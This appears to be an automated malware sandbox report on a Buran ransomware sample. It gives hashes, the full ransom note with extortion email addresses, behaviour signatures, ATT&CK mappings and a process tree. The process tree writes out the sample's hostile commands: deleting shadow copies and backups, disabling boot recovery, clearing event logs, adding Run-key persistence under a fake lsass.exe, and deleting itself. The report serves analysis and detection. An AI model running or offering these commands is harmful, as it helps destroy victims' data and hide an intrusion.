Overview

overview

10

Static

static

buran.exe

windows7_x64

10

buran.exe

windows10_x64

10

Analysis

  • max time kernel
    151s
  • max time network
    124s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    02-02-2021 01:49

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    buran.exe

  • Size

    222KB

  • MD5

    3058d76e5fb2f2d2f65e232e98536182

  • SHA1

    3e6e9abd6241526bf932885d118cbbe54e4e1cbe

  • SHA256

    5c1141aa7d0b9fba71822607f3b1b086e2cc4529e63221a9a6ede74fa366512f

  • SHA512

    b47bc559e183abe8d4be8e7b1f652f01bab0095bf37797d95a541d729dad82a8a1eb1a804bc7c009ab3d49b446498a2e6b487f680bb203df3e17c212f85dfd95

Score
10/10
buranevasionpersistenceransomware

Malware Config

Extracted

Path

C:\!!! ALL YOUR FILES ARE ENCRYPTED !!!.TXT

Family

buran

Ransom Note
==== GERMAN ==== Alle Ihre Dateien, Dokumente, Fotos, Datenbanken und andere wichtige Dateien werden verschlusselt. Sie konnen es nicht selbst entschlusseln! Die einzige Methode Zum Wiederherstellen von Dateien muss ein eindeutiger privater Schlussel erworben werden. Nur wir konnen Ihnen diesen Schlussel geben und nur wir konnen Ihre Dateien wiederherstellen. Um sicher zu gehen, dass wir den Entschlusseler haben und er funktioniert, konnen Sie einen senden Senden Sie eine E-Mail an Wiederherstellung@cock.li oder Wiederherstellungsdatei@airmail.cc und entschlusseln Sie eine Datei kostenlos. Aber diese Datei sollte nicht wertvoll sein! Mochten Sie Ihre Dateien wirklich wiederherstellen? Schreiben Sie eine E-Mail an Wiederherstellung@cock.li Wiederherstellungsdatei@airmail.cc (reservieren) Ihre personliche ID: <! - ID -> Beachtung! * Benennen Sie verschlusselte Dateien nicht um. * Versuchen Sie nicht, Ihre Daten mit Software von Drittanbietern zu entschlusseln. Dies kann zu dauerhaftem Datenverlust fuhren. * Entschlusselung Ihrer Dateien mit Hilfe von Dritten moglich verursachen Sie erhohten Preis (sie addieren ihre Gebuhr zu unserem) oder Sie konnen Opfer eines Betrugs werden. ==== ENGLISH ==== All your files, documents, photos, databases and other important files are encrypted. You are not able to decrypt it by yourself! The only method of recovering files is to purchase an unique private key. Only we can give you this key and only we can recover your files. To be sure we have the decryptor and it works you can send an email Wiederherstellung@cock.li or Wiederherstellungsdatei@airmail.cc and decrypt one file for free. But this file should be of not valuable! Do you really want to restore your files? Write to email Wiederherstellung@cock.li Wiederherstellungsdatei@airmail.cc (reserve) Your personal ID: 17C729A0-DE24-D128-25CD-456E344875E9 Attention! * Do not rename encrypted files. * Do not try to decrypt your data using third party software, it may cause permanent data loss. * Decryption of your files with the help of third parties may cause increased price (they add their fee to our) or you can become a victim of a scam.
Emails

Wiederherstellung@cock.li

Wiederherstellungsdatei@airmail.cc

Signatures

  • Buran

    Ransomware-as-a-service based on the VegaLocker family first identified in 2019.

    ransomwareburan
  • Clears Windows event logs 1 TTPs
    evasionransomware
  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomware
  • Executes dropped EXE 3 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
    persistence
  • Enumerates connected drives 3 TTPs 24 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

    ransomware
  • Drops file in Program Files directory 21789 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Interacts with shadow copies 2 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

    ransomware
  • Modifies system certificate store 2 TTPs 2 IoCs
    evasionspywaretrojan
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 52 IoCs
  • Suspicious use of WriteProcessMemory 102 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs
    evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\buran.exe
    "C:\Users\Admin\AppData\Local\Temp\buran.exe"
    1⤵
    • Modifies system certificate store
    • Suspicious use of WriteProcessMemory
    PID:1052
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /e:on /c md "C:\Users\Admin\AppData\Roaming\Microsoft\Windows" & copy "C:\Users\Admin\AppData\Local\Temp\buran.exe" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\lsass.exe" & reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /V "Local Security Authority Subsystem Service" /t REG_SZ /F /D "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\lsass.exe\" -start"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:208
      • C:\Windows\SysWOW64\reg.exe
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /V "Local Security Authority Subsystem Service" /t REG_SZ /F /D "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\lsass.exe\" -start"
        3⤵
        • Adds Run key to start application
        PID:2540
    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\lsass.exe
      "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\lsass.exe" -start
      2⤵
      • Executes dropped EXE
      • Enumerates connected drives
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1636
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\system32\cmd.exe" /C bcdedit /set {default} bootstatuspolicy ignoreallfailures
        3⤵
          PID:2356
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\system32\cmd.exe" /C bcdedit /set {default} recoveryenabled no
          3⤵
            PID:3184
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\system32\cmd.exe" /C wbadmin delete catalog -quiet
            3⤵
              PID:3012
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\system32\cmd.exe" /C wbadmin delete systemstatebackup
              3⤵
                PID:3588
              • C:\Windows\SysWOW64\cmd.exe
                "C:\Windows\system32\cmd.exe" /C wbadmin delete systemstatebackup -keepversions:0
                3⤵
                  PID:3204
                • C:\Windows\SysWOW64\cmd.exe
                  "C:\Windows\system32\cmd.exe" /C wbadmin delete backup
                  3⤵
                    PID:1160
                  • C:\Windows\SysWOW64\cmd.exe
                    "C:\Windows\system32\cmd.exe" /C wmic shadowcopy delete
                    3⤵
                    • Suspicious use of WriteProcessMemory
                    PID:2504
                    • C:\Windows\SysWOW64\Wbem\WMIC.exe
                      wmic shadowcopy delete
                      4⤵
                      • Suspicious use of AdjustPrivilegeToken
                      PID:188
                  • C:\Windows\SysWOW64\cmd.exe
                    "C:\Windows\system32\cmd.exe" /C vssadmin delete shadows /all /quiet
                    3⤵
                    • Suspicious use of WriteProcessMemory
                    PID:2208
                    • C:\Windows\SysWOW64\vssadmin.exe
                      vssadmin delete shadows /all /quiet
                      4⤵
                      • Interacts with shadow copies
                      PID:3820
                  • C:\Windows\SysWOW64\cmd.exe
                    "C:\Windows\system32\cmd.exe" /C reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /va /f
                    3⤵
                    • Suspicious use of WriteProcessMemory
                    PID:3052
                    • C:\Windows\SysWOW64\reg.exe
                      reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /va /f
                      4⤵
                        PID:3576
                    • C:\Windows\SysWOW64\cmd.exe
                      "C:\Windows\system32\cmd.exe" /C reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /f
                      3⤵
                      • Suspicious use of WriteProcessMemory
                      PID:496
                      • C:\Windows\SysWOW64\reg.exe
                        reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /f
                        4⤵
                          PID:2392
                      • C:\Windows\SysWOW64\cmd.exe
                        "C:\Windows\system32\cmd.exe" /C reg add "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers"
                        3⤵
                        • Suspicious use of WriteProcessMemory
                        PID:2588
                        • C:\Windows\SysWOW64\reg.exe
                          reg add "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers"
                          4⤵
                            PID:2452
                        • C:\Windows\SysWOW64\cmd.exe
                          "C:\Windows\system32\cmd.exe" /C attrib "%userprofile%\documents\Default.rdp" -s -h
                          3⤵
                            PID:1276
                            • C:\Windows\SysWOW64\attrib.exe
                              attrib "C:\Users\Admin\documents\Default.rdp" -s -h
                              4⤵
                              • Views/modifies file attributes
                              PID:2128
                          • C:\Windows\SysWOW64\cmd.exe
                            "C:\Windows\system32\cmd.exe" /C del "%userprofile%\documents\Default.rdp"
                            3⤵
                              PID:4076
                            • C:\Windows\SysWOW64\cmd.exe
                              "C:\Windows\system32\cmd.exe" /C wevtutil.exe clear-log Application
                              3⤵
                                PID:3060
                                • C:\Windows\SysWOW64\wevtutil.exe
                                  wevtutil.exe clear-log Application
                                  4⤵
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:2120
                              • C:\Windows\SysWOW64\cmd.exe
                                "C:\Windows\system32\cmd.exe" /C wevtutil.exe clear-log Security
                                3⤵
                                  PID:1648
                                  • C:\Windows\SysWOW64\wevtutil.exe
                                    wevtutil.exe clear-log Security
                                    4⤵
                                    • Suspicious use of AdjustPrivilegeToken
                                    PID:2748
                                • C:\Windows\SysWOW64\cmd.exe
                                  "C:\Windows\system32\cmd.exe" /C wevtutil.exe clear-log System
                                  3⤵
                                    PID:2184
                                    • C:\Windows\SysWOW64\wevtutil.exe
                                      wevtutil.exe clear-log System
                                      4⤵
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:1400
                                  • C:\Windows\SysWOW64\cmd.exe
                                    "C:\Windows\system32\cmd.exe" /C sc config eventlog start=disabled
                                    3⤵
                                      PID:3548
                                      • C:\Windows\SysWOW64\sc.exe
                                        sc config eventlog start=disabled
                                        4⤵
                                          PID:1128
                                      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\lsass.exe
                                        "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\lsass.exe" -agent 0
                                        3⤵
                                        • Executes dropped EXE
                                        • Drops file in Program Files directory
                                        PID:3836
                                      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\lsass.exe
                                        "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\lsass.exe" -agent 1
                                        3⤵
                                        • Executes dropped EXE
                                        PID:1380
                                    • C:\Windows\SysWOW64\cmd.exe
                                      "C:\Windows\system32\cmd.exe" /c for /l %x in (1,1,999) do ( ping -n 3 127.1 & del "C:\Users\Admin\AppData\Local\Temp\buran.exe" & if not exist "C:\Users\Admin\AppData\Local\Temp\buran.exe" exit )
                                      2⤵
                                      • Suspicious use of WriteProcessMemory
                                      PID:1056
                                      • C:\Windows\SysWOW64\PING.EXE
                                        ping -n 3 127.1
                                        3⤵
                                        • Runs ping.exe
                                        PID:2100
                                  • C:\Windows\system32\vssvc.exe
                                    C:\Windows\system32\vssvc.exe
                                    1⤵
                                    • Suspicious use of AdjustPrivilegeToken
                                    PID:4088

                                  Network

                                  MITRE ATT&CK Matrix ATT&CK v6

                                  Initial Access

                                  Execution

                                  Persistence

                                  Registry Run Keys / Startup Folder

                                  1
                                  T1060

                                  Hidden Files and Directories

                                  1
                                  T1158

                                  Privilege Escalation

                                  Defense Evasion

                                  Indicator Removal on Host

                                  1
                                  T1070

                                  File Deletion

                                  2
                                  T1107

                                  Modify Registry

                                  2
                                  T1112

                                  Install Root Certificate

                                  1
                                  T1130

                                  Hidden Files and Directories

                                  1
                                  T1158

                                  Credential Access

                                  Discovery

                                  Query Registry

                                  1
                                  T1012

                                  Peripheral Device Discovery

                                  1
                                  T1120

                                  System Information Discovery

                                  2
                                  T1082

                                  Remote System Discovery

                                  1
                                  T1018

                                  Lateral Movement

                                  Collection

                                  Exfiltration

                                  Command and Control

                                  Web Service

                                  1
                                  T1102

                                  Impact

                                  Inhibit System Recovery

                                  2
                                  T1490

                                  Replay Monitor

                                  Loading Replay Monitor...

                                  Downloads

                                  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\07CEF2F654E3ED6050FFC9B6EB844250_3F26ED5DE6B4E859CCCA6035ECB8D9CB
                                    MD5

                                    149e1d142e9d7c2fca97f1fef05c59c8

                                    SHA1

                                    85a61dcf4a5474018cde498c8ae4f45c6c4c63c3

                                    SHA256

                                    ad06238a22fe68072bf7ab8f7b4423dc7c90296e41c7f3d7a16cc6d6f7010a82

                                    SHA512

                                    a8ff1e8effe3a9d458db74b9239f530b39f7b5ea74921ea285762e167d20d216698729ea60a94dec60e1ee6913245c4b1c56d66cf2252dc80fa1e7fff94ce17a

                                    Download Submit
                                  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\204C1AA6F6114E6A513754A2AB5760FA_0673414C08DE7F919AE3F6C4CC65AEEE
                                    MD5

                                    bb43ca1db0fadc6ae53f5f74b390683b

                                    SHA1

                                    5785179b5a50c78c5f7b0575d34566a3f417d151

                                    SHA256

                                    7f3f97971e82a3aeaacb64f8feb0ef7df11db650211c065e92a320bf4adc0690

                                    SHA512

                                    4611364f95ccbaec4f29ca1728374c452b93c51b5debad83828d3fde5fdc5c0ac090134a7a759fa5e2d9de018a0871354a482bb9f023564938adf0ba51bcb32d

                                    Download Submit
                                  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B2FAF7692FD9FFBD64EDE317E42334BA_D7393C8F62BDE4D4CB606228BC7A711E
                                    MD5

                                    7769e706f7b0c56e9605a81623599f0b

                                    SHA1

                                    3d83a8866e647b78d8201cb4a0500ce926b76f68

                                    SHA256

                                    ccf11aa28a6025572b9b4c89c12ce6f557bf6a578f187d7bfd6cd6f993b8ea63

                                    SHA512

                                    d7187bf6636b23bb53c169ea714f2ab0b5994595ca8bb7347f7071ea10d322c398f092c2185151e7fed368bc08a92505fff387feeacd970b2ba877176aab73b6

                                    Download Submit
                                  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\07CEF2F654E3ED6050FFC9B6EB844250_3F26ED5DE6B4E859CCCA6035ECB8D9CB
                                    MD5

                                    01af71658f8903dab9568aea0cccda57

                                    SHA1

                                    eee0461ce62be9028842632862149fd6edc2af19

                                    SHA256

                                    21cfc25e74da4f93a3532dbb3a9202a8dde43d393b8c16e2113cc2c22f8a1a76

                                    SHA512

                                    9b919a08c308735298434067a96cb28ebfe569716bfeaa2ae505662846d80b6758bb35ac9729d865af133318e25de17a311d519788474d793e88c88fd2fd376b

                                    Download Submit
                                  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\204C1AA6F6114E6A513754A2AB5760FA_0673414C08DE7F919AE3F6C4CC65AEEE
                                    MD5

                                    c5dd9d4db0f4f6b03a6291a6faefb9fb

                                    SHA1

                                    8930d13e692723bb10ee8b6d78dea8b2e694490e

                                    SHA256

                                    6d34671eb68fe86da4f46521d1d92bf68fd970a0c8c2418f7b7ab878918408b1

                                    SHA512

                                    e7f1fe083c2134250bf47bb77be171712a3afdfba35264ae0a3bd6221e9b8b417c53f2ca555d589db1f6c037386f04fe28b1e006cd906bee52f8cb1b942c3bf0

                                    Download Submit
                                  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B2FAF7692FD9FFBD64EDE317E42334BA_D7393C8F62BDE4D4CB606228BC7A711E
                                    MD5

                                    7ba42e82897d6cc5badc96eeac5eb59c

                                    SHA1

                                    05720eb516a52cd1b9f38e17ec1312d5cbba645b

                                    SHA256

                                    247e78221185de959fc87612603a469a6a68b1398c1b7b9e21c791de2e8c72d9

                                    SHA512

                                    695c73d06709da6247ddeb1b8778262daa5c90e1f0c7fdacddf490a5602db05815fe245f24312d2e7800fa7e91a37fc2bde9c8aeaa4f1c34ee4862e9a39193d8

                                    Download Submit
                                  • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\RW8YYLAG\1QE7L3Q8.htm
                                    MD5

                                    b1cd7c031debba3a5c77b39b6791c1a7

                                    SHA1

                                    e5d91e14e9c685b06f00e550d9e189deb2075f76

                                    SHA256

                                    57ba053f075e0b80f747f3102ed985687c16a8754d109e7c4d33633269a36aaa

                                    SHA512

                                    d2bbefdc1effb52a38964c4cec5990a5a226248eca36f99e446c0c5704436f666bf1cb514e73b8991411d497d3325ecc646cbd5065c364e92ab6b9c5f1ad4a72

                                    Download Submit
                                  • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\UOAPEAJQ\R108ESDY.htm
                                    MD5

                                    8615e70875c2cc0b9db16027b9adf11d

                                    SHA1

                                    4ed62cf405311c0ff562a3c59334a15ddc4f1bf9

                                    SHA256

                                    da96949ba6b0567343f144486505c8c8fa1d892fd88c9cbc3ef3d751a570724d

                                    SHA512

                                    cd9dfc88dc2af9438b7d6b618d1b62029b3bdf739fc4daa5b37397afd12c4528561b3bf2fc3f3f2adf3fd1f582d5524332441fd30248fcd078e41aa91e17cb73

                                    Download Submit
                                  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\lsass.exe
                                    MD5

                                    3058d76e5fb2f2d2f65e232e98536182

                                    SHA1

                                    3e6e9abd6241526bf932885d118cbbe54e4e1cbe

                                    SHA256

                                    5c1141aa7d0b9fba71822607f3b1b086e2cc4529e63221a9a6ede74fa366512f

                                    SHA512

                                    b47bc559e183abe8d4be8e7b1f652f01bab0095bf37797d95a541d729dad82a8a1eb1a804bc7c009ab3d49b446498a2e6b487f680bb203df3e17c212f85dfd95

                                    Download Submit
                                  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\lsass.exe
                                    MD5

                                    3058d76e5fb2f2d2f65e232e98536182

                                    SHA1

                                    3e6e9abd6241526bf932885d118cbbe54e4e1cbe

                                    SHA256

                                    5c1141aa7d0b9fba71822607f3b1b086e2cc4529e63221a9a6ede74fa366512f

                                    SHA512

                                    b47bc559e183abe8d4be8e7b1f652f01bab0095bf37797d95a541d729dad82a8a1eb1a804bc7c009ab3d49b446498a2e6b487f680bb203df3e17c212f85dfd95

                                    Download Submit
                                  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\lsass.exe
                                    MD5

                                    3058d76e5fb2f2d2f65e232e98536182

                                    SHA1

                                    3e6e9abd6241526bf932885d118cbbe54e4e1cbe

                                    SHA256

                                    5c1141aa7d0b9fba71822607f3b1b086e2cc4529e63221a9a6ede74fa366512f

                                    SHA512

                                    b47bc559e183abe8d4be8e7b1f652f01bab0095bf37797d95a541d729dad82a8a1eb1a804bc7c009ab3d49b446498a2e6b487f680bb203df3e17c212f85dfd95

                                    Download Submit
                                  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\lsass.exe
                                    MD5

                                    3058d76e5fb2f2d2f65e232e98536182

                                    SHA1

                                    3e6e9abd6241526bf932885d118cbbe54e4e1cbe

                                    SHA256

                                    5c1141aa7d0b9fba71822607f3b1b086e2cc4529e63221a9a6ede74fa366512f

                                    SHA512

                                    b47bc559e183abe8d4be8e7b1f652f01bab0095bf37797d95a541d729dad82a8a1eb1a804bc7c009ab3d49b446498a2e6b487f680bb203df3e17c212f85dfd95

                                    Download Submit
                                  • memory/188-24-0x0000000000000000-mapping.dmp
                                    Download
                                  • memory/208-2-0x0000000000000000-mapping.dmp
                                    Download
                                  • memory/496-29-0x0000000000000000-mapping.dmp
                                    Download
                                  • memory/1056-7-0x0000000000000000-mapping.dmp
                                    Download
                                  • memory/1128-43-0x0000000000000000-mapping.dmp
                                    Download
                                  • memory/1160-22-0x0000000000000000-mapping.dmp
                                    Download
                                  • memory/1276-33-0x0000000000000000-mapping.dmp
                                    Download
                                  • memory/1380-45-0x0000000000000000-mapping.dmp
                                    Download
                                  • memory/1400-41-0x0000000000000000-mapping.dmp
                                    Download
                                  • memory/1636-5-0x0000000000000000-mapping.dmp
                                    Download
                                  • memory/1648-38-0x0000000000000000-mapping.dmp
                                    Download
                                  • memory/2100-9-0x0000000000000000-mapping.dmp
                                    Download
                                  • memory/2120-37-0x0000000000000000-mapping.dmp
                                    Download
                                  • memory/2128-34-0x0000000000000000-mapping.dmp
                                    Download
                                  • memory/2184-40-0x0000000000000000-mapping.dmp
                                    Download
                                  • memory/2208-25-0x0000000000000000-mapping.dmp
                                    Download
                                  • memory/2356-17-0x0000000000000000-mapping.dmp
                                    Download
                                  • memory/2392-30-0x0000000000000000-mapping.dmp
                                    Download
                                  • memory/2452-32-0x0000000000000000-mapping.dmp
                                    Download
                                  • memory/2504-23-0x0000000000000000-mapping.dmp
                                    Download
                                  • memory/2540-3-0x0000000000000000-mapping.dmp
                                    Download
                                  • memory/2588-31-0x0000000000000000-mapping.dmp
                                    Download
                                  • memory/2748-39-0x0000000000000000-mapping.dmp
                                    Download
                                  • memory/3012-19-0x0000000000000000-mapping.dmp
                                    Download
                                  • memory/3052-27-0x0000000000000000-mapping.dmp
                                    Download
                                  • memory/3060-36-0x0000000000000000-mapping.dmp
                                    Download
                                  • memory/3184-18-0x0000000000000000-mapping.dmp
                                    Download
                                  • memory/3204-21-0x0000000000000000-mapping.dmp
                                    Download
                                  • memory/3548-42-0x0000000000000000-mapping.dmp
                                    Download
                                  • memory/3576-28-0x0000000000000000-mapping.dmp
                                    Download
                                  • memory/3588-20-0x0000000000000000-mapping.dmp
                                    Download
                                  • memory/3820-26-0x0000000000000000-mapping.dmp
                                    Download
                                  • memory/3836-44-0x0000000000000000-mapping.dmp
                                    Download
                                  • memory/4076-35-0x0000000000000000-mapping.dmp
                                    Download